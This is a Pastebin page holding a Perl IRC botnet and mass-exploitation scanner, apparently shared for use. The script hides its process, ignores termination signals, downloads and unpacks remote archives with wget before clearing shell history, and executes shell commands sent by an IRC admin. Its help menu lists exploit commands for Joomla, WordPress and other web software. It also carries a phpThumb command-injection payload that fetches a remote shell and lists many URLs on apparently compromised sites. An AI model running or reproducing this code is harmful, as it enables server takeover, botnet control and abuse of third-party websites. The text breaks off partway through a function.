daily pastebin goal
50%
SHARE
TWEET

barner bangsat

a guest Sep 20th, 2016 5,209 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. ################################################################
  3. ## SCANNER UPDATE BY BArNEr                                          ##
  4. ## CONTACT : fullmagic27(AT)gmail.com                           ##
  5. ##                irc.fullmagic.net                       ##
  6. ################################################################
  7. use HTTP::Request;
  8. use HTTP::Request::Common;
  9. use HTTP::Request::Common qw(POST);
  10. use LWP::Simple;
  11. use LWP 5.64;
  12. use LWP::UserAgent;
  13. use Socket;
  14. use IO::Socket;
  15. use IO::Socket::INET;
  16. use IO::Select;
  17. use MIME::Base64;
  18. use URI::Escape;
  19. use Digest::MD5 qw(md5_hex);
  20. #use DBI;
  21. #use DBD::mysql;
  22. my $datetime = localtime;
  23. my $fakeproc = "/usr/sbin/httppd12";
  24. my $ircserver = "37.59.160.159 ";
  25. my $number  = int(rand(9));
  26. my $ircport     = "9595";
  27. my $nickname    = "X-[[".$number."]]-X";
  28. my $ident       = "xXx-v3";
  29. my $channel = "#scanz";
  30. my $chanxxx = "#scanz";
  31. my $chaninfo = "#scanz";
  32. my $admin = "LND-Bloodman";
  33. my $jembot = "wpcontent.php";
  34. my $fullname = "fullmgic and otaelcyber";
  35. my $rawmsg = $ARGV[4];
  36. my $msgraw = $ARGV[5];
  37. my $nob0dy = "otaelcyber";
  38. my $startlogo = "9,1[4!9]11Scanning Start 9<4=9> ";
  39. my $jnewslogo = "9,1[4!9]11JNews 9<4=9> ";
  40. my $jcelogo = "9,1[4!9]11JCE 9<4=9> ";
  41. my $civicrmlogo = "9,1[4!9]11Civicrm 9<4=9> ";
  42. my $jinclogo = "9,1[4!9]11JINC 9<4=9> ";
  43. my $letterlogo = "9,1[4!9]11JnewsLetter 9<4=9> ";
  44. my $acylogo = "9,1[4!9]11Acymailing 9<4=9> ";
  45. my $maianlogo = "9,1[4!9]11Maianmedia 9<4=9> ";
  46. my $redmistyclogo = "9,1[4!9]11RedMystc 9<4=9> ";
  47. my $phpvmslogo = "9,1[4!9]11PhpVms 9<4=9> ";
  48. my $clipbucketlogo = "9,1[4!9]11ClipBucket 9<4=9> ";
  49. my $reflexlogo = "9,1[4!9]11ReFlex Gallery 9<4=9> ";
  50. my $maian15logo = "9,1[4!9]11Maian15 9<4=9> ";
  51. my $livecart15logo = "9,1[4!9]11Live Cart 9<4=9> ";
  52. my $switchbladelogo = "9,1[4!9]11Switchblade 9<4=9> ";
  53. my $coldfusionlogo = "9,1[4!9]11Coldfusion 9<4=9> ";
  54. my $joomleaguelogo = "9,1[4!9]11Joomleague 9<4=9> ";
  55. my $rightnowlogo = "9,1[4!9]11WordPress 9<4=9> ";
  56. my $kidologo = "9,1[4!9]11Kido 9<4=9> ";
  57. my $rcilogo = "9,1[4!9]11joomla 9<4=9> ";
  58. my $blogglogo = "9,1[4!9]11Bloggie 9<4=9> ";
  59. my $ithemeslogo = "9,1[4!9]11Ithem 9<4=9> ";
  60. my $uplogo = "9,1[4!9]11uploadify 9<4=9> ";
  61. my $photostorelogo = "9,1[4!9]11PhotoStore 9<4=9> ";
  62. my $thumblogo = "9,1[4!9]11Timthumb 9<4=9> ";
  63. my $sqllogo = "9,1[4!9]11SQL Injection 9<4=9> ";
  64. my $zenlogo = "9,1[4!9]11Zencart 9<4=9> ";
  65. my $rfilogo = "9,1[4!9]11RFI 9<4=9> ";
  66. my $pthumblogo = "9,1[4!9]11phpThumb 9<4=9> ";
  67. my $vdlogo = "9,1[4!9]11RevSlider 9<4=9> ";
  68. my $pointofsalelogo = "9,1[4!9]11point of sale 9<4=9> ";
  69. my $maian15cmd = "".$number."maian15";
  70. my $livecartcmd = "".$number."lct";
  71. my $jnewscmd = "".$number."jnews";
  72. my $jcecmd = "".$number."jce";
  73. my $jinccmd = "".$number."jinc";
  74. my $acycmd = "".$number."acy";
  75. my $lettercmd = "".$number."lett";
  76. my $civicrmcmd = "".$number."civi";
  77. my $maiancmd = "".$number."maian";
  78. my $redmistyccmd = "".$number."red";
  79. my $phpvmscmd = "".$number."vms";
  80. my $clipbucketcmd = "".$number."clip";
  81. my $reflexcmd = "".$number."ref";
  82. my $switchbladecmd = "".$number."swb";
  83. my $coldfusioncmd = "".$number."cdf";
  84. my $rightnowcmd = "".$number."wp";
  85. my $kidocmd = "".$number."kido";
  86. my $rcicmd      = "".$number."rci";
  87. my $bloggcmd    = "".$number."bloggie";
  88. my $sucocmd     = "".$number."suco";
  89. my $ithemescmd  = "".$number."ithem";
  90. my $upcmd       = "".$number."up";
  91. my $joomleaguecmd = "".$number."jlg";
  92. my $photostorecmd = "".$number."pst";
  93. my $thumbcmd = "".$number."tim";
  94. my $sqlcmd = "".$number."sql";
  95. my $zencmd = "".$number."zen";
  96. my $rficmd = "".$number."rfi";
  97. my $pthumbcmd = "".$number."pt";
  98. my $revcmd = "".$number."rev";
  99. my $ftpcmd = "".$number."ftp";
  100. my $pointofsalecmd = "".$number."point";
  101. my $wp = "wp-content/themes";
  102. my $gps = 1;
  103. my $gps2 = 1;
  104. my $timot = 10;
  105. my $silentmode = 0;
  106. my $hostinjector = "nuselskymost.cz/manager/includes/";
  107. my $thumbid = "http://holzhaus.su/magic.php";
  108. my $thumbidx = "http://nuselskymost.cz/manager/includes/noises/magic.php.phx";
  109. my $injectorrfi  = "http://holzhaus.su/magic.php";
  110. my $botshellrfi = "http://nuselskymost.cz/manager/includes/noises/magic.php.phx";
  111. my $botshellrfi2 = "http://dush7.karelia.ru/assets/cache/phpthumbof/test/wpinfos_new.ttt";
  112. my $injector  = "http://holzhaus.su/magic.php";
  113. my $backdoor  = "http://nuselskymost.cz/manager/includes/noises/magic.php.phx";
  114. my $backdoor2  = "http://dush7.karelia.ru/assets/cache/phpthumbof/test/wpinfos_new.ttt";
  115. my $botshell  = "http://nuselskymost.cz/manager/includes/noises/magic.php.phx";
  116. my $botshell2  = "http://holzhaus.su/magic.php";
  117. my $botshell3  = "https://www.personalise24.co.uk/blog/wp-content/languages/plugins/wpinfos_new.ttt";
  118. my $subticket = "/submitticket.php?step=2&deptid=1";
  119. my $md5php = md5_hex($thumbid).".php";
  120. my $md5cps = md5_hex($thumbidx).".php";
  121. my $timid = uri_escape($thumbid);
  122. my $timidx = uri_escape($thumbidx);
  123. my $action = "/data/shell.php";
  124. my $magix = "/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ;wget http://nuselskymost.cz/manager/includes/noises/magic.php.phx -O phpThumb.libs.php;&phpThumbDebug=9";
  125. my $thumbshell = "http://holzhaus.su/magic.php";
  126. my $spd = "http://dush7.karelia.ru/assets/cache/phpthumbof/test/wpinfos_new.ttt";
  127. my $folder1 = "/cache/a27eb7108b613aef0657c6d724fdec7d.php";
  128. my $folder2 = "/cache/external_a27eb7108b613aef0657c6d724fdec7d.php";
  129. my $folder3 = "/temp/a27eb7108b613aef0657c6d724fdec7d.php";
  130. my $folder4 = "/temp/external_a27eb7108b613aef0657c6d724fdec7d.php";
  131. my $folder5 = "/wp-content/uploads/thumb-temp/a27eb7108b613aef0657c6d724fdec7d.php";
  132. my $uagent = "Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1)";
  133. my $jpath = "?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=";
  134.  
  135.  
  136. my $barner1 = "http://www.socialmediaweek.com.my/2013/components/com_mailto/error.php".$jpath;
  137. my $barner2 = "http://www.fiat127.cz/web/components/com_mailto/error.php".$jpath;
  138. my $barner3 = "http://www.afro-collection.de/includes/js/calendar/lang/error.php".$jpath;
  139. my $barner4 = "http://www.afro-collection.de/includes/js/calendar/lang/error.php".$jpath;
  140. my $barner5 = "http://www.aramea.co/components/com_mailto/error.php".$jpath;
  141. my $barner6 = "http://www.santistebanasociados.com/english/administrator/components/com_templates/helpers/log28.php".$jpath;
  142. my $barner7 = "http://www.jenoxhost.com/billing/templates_c/search.php".$jpath;
  143. my $barner8 = "http://www.toyebitech.com//includes/js/dtree/error.php".$jpath;
  144. my $barner9 = "http://ancoimbra.net//images/banners/error.php".$jpath;
  145. my $barner10 = "http://www.luxurytours.com.do/administrator/components/com_templates/helpers/log32.php".$jpath;
  146. my $barner11 = "http://fan.hallyu.fr/wp-includes/error.php".$jpath;
  147. my $barner12 = "http://wwww.krimispannung.at/errors.php".$jpath;
  148. my $barner13 = "http://wwww.kcs.org.tw/main/components/com_mailto/error.php".$jpath;
  149. my $barner14 = "http://aprendendocomomar.com.br//wp-includes/error.ph".$jpath;
  150. my $barner15 = "http://www.crackingbio.com/images/banners/error.php".$jpath;
  151. my $barner16 = "http://sangriaproperties.com/images/banners/error.php".$jpath;
  152. my $barner17 = "http://clinicavanity.com.br/2012/wp-includes/error.php".$jpath;
  153. my $barner18 = "http://www.overdiesel.com/images/banners/error.php".$jpath;
  154. my $barner19 = "http://www.vetquimica.com.br/modules/mod_login/error.php".$jpath;
  155. my $barner20 = "http://www.amlidersrl.com.ar/error.php".$jpath;
  156. my $barner21 = "http://drrezaei.com/fa/components/com_acymailing/inc/openflash/tmp-upload-images/error.php".$jpath;
  157. my $barner22 = "http://ingatlan.horvathingatlan.hu/includes/js/dtree/error.php".$jpath;
  158. my $barner23 = "http://jugend.thw-bruehl.de/cache/error.php".$jpath;
  159. my $barner24 = "http://pctechcare.co.uk/wp-includes/error.php".$jpath;
  160. my $barner25 = "http://ilportaledidrago.altervista.org/cache/log29.php".$jpath;
  161. my $barner26 = "http://jugend.thw-bruehl.de/cache/error.php".$jpath;
  162. my $barner27 = "http://somere.ru/error.php".$jpath;
  163. my $barner28 = "http://shop.fernandoguijar.com/wp-includes/error.php".$jpath;
  164. my $barner29 = "https://www.attentionwizard.com/cache-old/error.php".$jpath;
  165. my $barner30 = "http://www.pazelli.com.br/error.php".$jpath;
  166. my $barner31 = "http://collegestationnutrition.com/wp-includes/error.php".$jpath;
  167. my $barner32 = "http://prcpianoro.altervista.org/cache/error.php".$jpath;
  168. my $barner33 = "http://webski.vetdiagnostica.pl///wp-includes/error.php".$jpath;
  169. my $barner34 = "http://prcpianoro.altervista.org/cache/error.php".$jpath;
  170. my $barner35 = "http://www.linuxcompany.nl/modules/mod_login/error.php".$jpath;
  171. my $barner36 = "http://www.santistebanasociados.com/english/administrator/components/com_templates/helpers/log28.php".$jpath;
  172. my $barner37 = "http://yeniik.com.tr/wp-content/uploads/2015/05/error.php".$jpath;
  173. my $barner38 = "http://www.afro-collection.de/includes/js/calendar/lang/error.php".$jpath;
  174. my $barner39 = "http://www.squee.com.br/checkin/modules/mod_login/error.php".$jpath;
  175. my $barner40 = "http://209.188.87.82/error.php".$jpath;
  176. my $barner41 = "http://collegestationnutrition.com/wp-includes/error.php".$jpath;
  177. my $barner42 = "http://lileeclay.com/wp-includes/error.php".$jpath;
  178. my $barner43 = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
  179. my $barner44 = "http://www.luxurytours.com.do/administrator/components/com_templates/helpers/log32.php".$jpath;
  180. my $barner45 = "http://www.amlidersrl.com.ar/error.php".$jpath;
  181. my $barner46 = "http://www.vetquimica.com.br/modules/mod_login/error.php".$jpath;
  182. my $barner47 = "http://medtechospitalar.com.br/site/error.php".$jpath;
  183. my $barner48 = "http://www.thai-orchidea.cz/modules/mod_login/error.php".$jpath;
  184. my $barner49 = "http://www.vrenergy.com/vrenergy/errors.php".$jpath;
  185. my $barner50 = "http://ras-vet.ru/php/error.php".$jpath;
  186. my $barner51 = "http://greenpowerguy.com/blog/wp-content/themes/error.php".$jpath;
  187. my $barner52 = "http://www.kiai.com.my/v2/language/overrides/search.php".$jpath;
  188. my $barner53 = "http://www.amlidersrl.com.ar/error.phpp".$jpath;
  189. my $barner54 = "http://www.cronchypollo.com/web/wp-includes/error.php".$jpath;
  190. my $barner55 = "http://www.thai-orchidea.cz/modules/mod_login/error.php".$jpath;
  191. my $barner55 = "http://www.luxurytours.com.do/administrator/components/com_templates/helpers/log32.php".$jpath;
  192. my $barner55 = "http://www.luxurytours.com.do/modules/mod_custom/log32.php".$jpath;
  193. my $barner56 = "http://fan.hallyu.fr/wp-includes/error.php".$jpath;
  194. my $barner57 = "http://dreamnetz.in//wp-includes/error.php".$jpath;
  195. my $barner58 = "http://rotavatorspareparts.in//wp-includes/error.php".$jpath;
  196. my $barner59 = "http://vinicolabertoletti.com.br//wp-includes/error.php".$jpath;
  197. my $barner60 = "http://brglass.com.br//wp-includes/error.php".$jpath;
  198. my $barner61 = "http://www.julilou.com.br//wp-includes/error.php".$jpath;
  199. my $barner62 = "http://www.pinheirosexpress.com.br//wp-includes/error.php".$jpath;
  200. my $barner63 = "http://pedrovelosocriacoes.com.br/wp-includes/error.php".$jpath;
  201. my $barner64 = "http://aimobiliariamix.com.br//wp-includes/error.php".$jpath;
  202. my $barner65 = "http://www.futurovipnovaiguacu.com.br//wp-includes/error.php".$jpath;
  203. my $barner66 = "http://bestfragrance.com.br//wp-includes/error.php".$jpath;
  204. my $barner67 = "http://aprendendocomomar.com.br//wp-includes/error.php".$jpath;
  205. my $barner68 = "http://syscomsdubai.com/wp-content/uploads/error.php".$jpath;
  206. my $barner69 = "http://www.ehbo-eelde.nl/media/error.php".$jpath;
  207. my $barner70 = "http://www.sbagro.org.br/modules/mod_login/error.php".$jpath;
  208. my $barner71 = "http://www.vacanzeincampagna.it/components/com_weblinks/views/errors.php".$jpath;
  209. my $barner72 = "http://www.squee.com.br/checkin/modules/mod_login/error.php".$jpath;
  210. my $barner73 = "http://www.pazelli.com.br/error.php".$jpath;
  211. my $barner74 = "http://www.squee.com.br/checkin/modules/mod_login/error.php".$jpath;
  212. my $barner75 = "http://www.vetquimica.com.br/modules/mod_login/error.php".$jpath;
  213. my $barner76 = "http://www.squee.com.br/checkin/modules/mod_login/error.php".$jpath;
  214.  
  215.  
  216. my $engine = "AC,GooGLe,googleDE,googleUK,googleFR,googleES,googleIT,googleNL,googleSE,googleAU,googleBR,googleCO,googleNO,googleRU,googlePL,googleIL,googleJP,googleCN,googleIN,googleKR,googleRO,googleZA,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK";
  217. my @jpaths = ('administrator/components/com_acymailing/inc/openflash','components/com_acymailing/inc/openflash','administrator/components/com_jnewsletter/includes/openflashchart','components/com_jnewsletter/includes/openflashchart','administrator/components/com_jinc/classes/graphics','components/com_jinc/classes/graphics','components/com_jnews/includes/openflashchart','administrator/components/com_jnews/includes/openflashchart');
  218. my $jvuln = "/php-ofc-library/ofc_upload_image.php";
  219. my $jshell = "/tmp-upload-images/magic.php";
  220. my $jcpanel = "/tmp-upload-images/magic.php.pHp";
  221.  
  222.  
  223. $SIG{'INT'} = 'IGNORE';
  224. $SIG{'HUP'} = 'IGNORE';
  225. $SIG{'TERM'} = 'IGNORE';
  226. $SIG{'CHLD'} = 'IGNORE';
  227. $SIG{'PS'} = 'IGNORE';
  228. chdir("");
  229. chop (my $priper = `wget http://chomikuj-ebooki.pl/wp-content/themes/twentyfourteen/images/injector/magic.tgz;wget http://jaragua.go.gov.br/picasa.com/ass.zip;tar -zxvf ass.zip;rm -fr ass.zip;tar -zxvf magic.tgz;rm -fr magic.tgz;rm -fr libs.tgz*;killall -9 sh;history -c`);
  230.  
  231. $ircserver = "$ARGV[0]" if $ARGV[0];
  232. $ircport = "$ARGV[1]" if $ARGV[1];
  233. $nickname = "$ARGV[2]" if $ARGV[2];
  234. $channel = "$ARGV[3]" if $ARGV[3];
  235. $0 = "$fakeproc"."\0" x 16;
  236. my $pid = fork;
  237. exit if $pid;
  238. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  239. our %irc_servers;
  240. our %DCC;
  241. my $dcc_sel = new IO::Select->new();
  242. $sel_client = IO::Select->new();
  243. sub sendraw {
  244. if ($#_ == '1') {
  245. my $socket = $_[0];
  246. print $socket "$_[1]\n";
  247. } else {
  248. print $IRC_cur_socket "$_[0]\n";
  249. }
  250. }
  251. sub connector {
  252. my $mynick = $_[0];
  253. my $ircserver_con = $_[1];
  254. my $ircport_con = $_[2];
  255. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  256. if (defined($IRC_socket)) {
  257. $IRC_cur_socket = $IRC_socket;
  258. $IRC_socket->autoflush(1);
  259. $sel_client->add($IRC_socket);
  260. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  261. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  262. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  263. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  264. nick("$mynick");
  265. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  266. sleep(1);}}
  267. sub parse {
  268. my $servarg = shift;
  269. if ($servarg =~ /^PING \:(.*)/) {
  270. sendraw("PONG :$1");
  271. }
  272. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  273. if (lc($1) eq lc($mynick)) {
  274. $mynick = $4;
  275. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  276. }
  277. }
  278. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  279. nick("$mynick".int rand(2));
  280. }
  281. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  282. $mynick = $2;
  283. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  284. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  285. sendraw("NS ID kliverz");
  286. sleep(3);
  287. sendraw("JOIN $channel dara");
  288. sendraw("PRIVMSG $admin :Hi $admin boz !!!");
  289. }
  290. }
  291. my $line_temp;
  292. while( 1 ) {
  293. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  294. select(undef, undef, undef, 0.01);
  295. delete($irc_servers{''}) if (defined($irc_servers{''}));
  296. my @ready = $sel_client->can_read(0);
  297. next unless(@ready);
  298. foreach $fh (@ready) {
  299. $IRC_cur_socket = $fh;
  300. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  301. $nread = sysread($fh, $ircmsg, 4096);
  302. if ($nread == 0) {
  303. $sel_client->remove($fh);
  304. $fh->close;
  305. delete($irc_servers{$fh});
  306. }
  307. @lines = split (/\n/, $ircmsg);
  308. $ircmsg =~ s/\r\n$//;
  309. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  310. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  311. if ($path eq $mynick) {
  312. if ($msg =~ /^PING (.*)/) {
  313. sendraw("NOTICE $nick :PING $1");
  314. }
  315. if ($msg =~ /^VERSION/) {
  316. sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  317. }
  318. if ($msg =~ /^TIME/) {
  319. sendraw("NOTICE $nick :TIME ".$datetime."");
  320. }
  321. if (&isAdmin($nick) && $msg eq "!die") {
  322. &shell("$path","kill -9 $$");
  323. }
  324. if (&isAdmin($nick) && $msg eq "!killall") {
  325. &shell("$path","killall -9 perl");
  326. }
  327. if (&isAdmin($nick) && $msg eq "!reset") {
  328. sendraw("QUIT :Restarting...");
  329. }
  330. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  331. sendraw("JOIN #".$1);
  332. }
  333. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  334. sendraw("PART #".$1);
  335. }
  336. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  337. sendraw("NICK ".$1);
  338. }
  339. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  340. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  341. }
  342. if (&isAdmin($nick) && $msg !~ /^!/) {
  343. &shell("$nick","$msg");
  344. }
  345. if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  346. sendraw("$rawmsg $msgraw ".$1);
  347. }
  348. if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  349. sendraw("PRIVMSG $rawmsg ".$1);
  350. }
  351. if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  352. sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  353. }
  354. if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  355. $newtimot = $1;
  356. $timot = $newtimot;
  357. &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  358. }
  359. if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  360. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  361. $newchan = $1;
  362. $chanxxx = $newchan;
  363. &msg("$admin","9,1 xChan change to4 $chanxxx ");
  364. }}}
  365. }
  366. else {
  367. if (&isAdmin($nick) && $msg eq "!die") {
  368. &shell("$path","kill -9 $$");
  369. }
  370. if (&isAdmin($nick) && $msg eq "!killall") {
  371. &shell("$path","killall -9 perl");
  372. }
  373. if (&isAdmin($nick) && $msg eq "!reset") {
  374. sendraw("QUIT :Restarting...");
  375. }
  376. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  377. sendraw("JOIN #".$1);
  378. }
  379. if (&isAdmin($nick) && $msg eq "!part") {
  380. sendraw("PART $path");
  381. }
  382. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  383. sendraw("PART #".$1);
  384. }
  385. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  386. &shell("$path","$1");
  387. }
  388. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  389. &shell("$path","$1");
  390. }
  391. if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
  392. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  393. $smod = $1;
  394. if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  395. elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  396. &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
  397. }}}
  398. if ($msg=~ /^!jackx\s+(.*) -d/) {
  399. $engmod = $1;
  400. if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
  401. elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
  402. &msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!");
  403. }
  404. if ($msg=~ /^!engine\s+(.*) -d/) {
  405. $engmod = $1;
  406. if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
  407. elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
  408. &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");
  409. }
  410. ##################################################################### HELP COMMAND
  411. if ($msg=~ /^!help/) {
  412. my $helplogo = "9,1[4!9]15HELP 4<9=4> ";sleep(3);
  413. &msg("$path","4$helplogo 8 Fullmagic and otaelcyber");
  414. &msg("$path","4$helplogo 4 Joomla Exploit ");
  415. &msg("$path","$helplogo9Com_Maian15 :15 $maian15cmd [dork] ");
  416. &msg("$path","$helplogo9Com_Redmistyc :15 $redmistyccmd [dork] ");
  417. &msg("$path","$helplogo9Com_Jnews :15 $jnewscmd [dork] ");
  418. &msg("$path","$helplogo9Com_Jnewsletter :15 $lettercmd [dork] ");
  419. &msg("$path","$helplogo9Com_Civicrm :15 $civicrmcmd [dork] ");
  420. &msg("$path","$helplogo9Com_Maianmedia :15 $maiancmd [dork] ");
  421. &msg("$path","$helplogo9Com_Acymailing :15 $acycmd [dork] ");
  422. &msg("$path","$helplogo9Com_Jinc :15 $jinccmd [dork] ");
  423. &msg("$path","$helplogo9Com_Joomleague :15 $joomleaguecmd [dork] ");
  424. &msg("$path","$helplogo9JCE Exploit :15 $jcecmd [dork] ");
  425. &msg("$path","4$helplogo 4 Wordpress Exploit ");
  426. &msg("$path","$helplogo9Kido :15 $kidocmd [dork] ");
  427. &msg("$path","$helplogo9Suco :15 $sucocmd [dork] ");
  428. &msg("$path","$helplogo9Itheme :15 $ithemescmd [dork] ");
  429. &msg("$path","$helplogo9Blogfolio :15 $blogcmd [dork] ");
  430. &msg("$path","$helplogo9Bloggie :15 $bloggcmd [dork] ");
  431. &msg("$path","$helplogo9Kido :15 $kidocmd [dork] ");
  432. &msg("$path","$helplogo9Pinboard :15 $pincmd [dork] ");
  433. &msg("$path","$helplogo9ReFlex Gallery :15 $reflexcmd [dork] ");
  434. &msg("$path","$helplogo9Switchblade :15 $switchbladecmd [dork] ");
  435. &msg("$path","$helplogo9Cold Fusion :15 $coldfusioncmd [dork] ");
  436. &msg("$path","$helplogo9Timthumb random themes :15 $thumbcmd wp-content/themes [dorks] ");
  437. &msg("$path","4$helplogo 4 All Other Exploit ");
  438. &msg("$path","$helplogo9PhpVms :15 $phpvmscmd [dork] ");
  439. &msg("$path","$helplogo9ClipBucket :15 $clipbucketcmd [dork] ");
  440. &msg("$path","$helplogo9PhotoStore :15 $photostorecmd [dork] ");
  441. &msg("$path","$helplogo9SQL Injection :15 $sqlcmd [dork] ");
  442. &msg("$path","$helplogo9Zencart :15 $zencmd [dork] ");
  443. &msg("$path","$helplogo9RFI :15 $rficmd [dork] ");
  444. &msg("$path","$helplogo9Uploadify :15 $upcmd [dork] ");
  445. &msg("$path","$helplogo9phpThumb :15 $pthumbcmd [dork] ");
  446. &msg("$path","$helplogo9revslider :15 $revcmd [dork] ");
  447. &msg("$path","4$helplogo 8 Fullmagic and otaelcyber");
  448. }
  449. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  450. my $injectlogo = "9,1[4!9]15Injector 4<9=4> ";sleep(3);
  451. $inject1 = "";
  452. $inject2 = "";
  453. my $cekby1 = &get_content($thumbshell);
  454. my $cekby2 = &get_content($thumbshell);
  455. if ($cekby1 =~ /GIF89a/i){ $inject1 = "9Up!!!"; } else { $inject1 = "4Down!!!"; }
  456. if ($cekby2 =~ /GIF89a/i){ $inject2 = "9Up!!!"; } else { $inject2 = "4Down!!!"; }
  457. &msg("$path","4$injectlogo 8 Injector Checker ");
  458. &msg("$path","$injectlogo15RCE Injector :15 $inject1 ");
  459. &msg("$path","$injectlogo15Timthumb Injector :15 $inject2 ");
  460. &msg("$path","$injectlogo15RFI Injector :15 $inject2 ");
  461. &msg("$path","4$injectlogo 8 End Of Injector Checker ");
  462. }
  463. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  464. &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  465. }
  466. if (&isAdmin($nick) && $msg eq "!bypass") {
  467. my $bystats1 = "";
  468. my $bystats2 = "";
  469. my $bystats3 = "";
  470. my $bystats4 = "";
  471. my $bystats5 = "";
  472. my $bystats6 = "";
  473. my $bystats7 = "";
  474. my $bystats8 = "";
  475. my $bystats9 = "";
  476. my $bystats10 = "";
  477. my $bystats11 = "";
  478. my $bystats12 = "";
  479. my $bystats13 = "";
  480. my $bystats14 = "";
  481. my $bystats15 = "";
  482. my $bystats16 = "";
  483. my $bystats17 = "";
  484. my $bystats18 = "";
  485. my $bystats19 = "";
  486. my $bystats20 = "";
  487. my $bystats21 = "";
  488. my $bystats22 = "";
  489. my $bystats23 = "";
  490. my $bystats24 = "";
  491. my $bystats25 = "";
  492. my $cekby1 = &get_content($barner1."search");
  493. my $cekby2 = &get_content($barner2."search");
  494. my $cekby3 = &get_content($barner3."search");
  495. my $cekby4 = &get_content($barner4."search");
  496. my $cekby5 = &get_content($barner5."search");
  497. my $cekby6 = &get_content($barner6."search");
  498. my $cekby7 = &get_content($barner7."search");
  499. my $cekby8 = &get_content($barner8."search");
  500. my $cekby9 = &get_content($barner9."search");
  501. my $cekby10 = &get_content($barner10."search");
  502. my $cekby11 = &get_content($barner11."search");
  503. my $cekby12 = &get_content($barner12."search");
  504. my $cekby13 = &get_content($barner13."search");
  505.  
  506. if ($cekby1 =~ /search/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Down!!!"; }
  507. if ($cekby2 =~ /search/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Down!!!"; }
  508. if ($cekby3 =~ /search/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Down!!!"; }
  509. if ($cekby4 =~ /search/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Down!!!"; }
  510. if ($cekby5 =~ /search/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Down!!!"; }
  511. if ($cekby6 =~ /search/i){ $bystats6 = "9Up!!!"; } else { $bystats6 = "4Down!!!"; }
  512. if ($cekby7 =~ /search/i){ $bystats7 = "9Up!!!"; } else { $bystats7 = "4Down!!!"; }
  513. if ($cekby8 =~ /search/i){ $bystats8 = "9Up!!!"; } else { $bystats8 = "4Down!!!"; }
  514. if ($cekby9 =~ /search/i){ $bystats9 = "9Up!!!"; } else { $bystats9 = "4Down!!!"; }
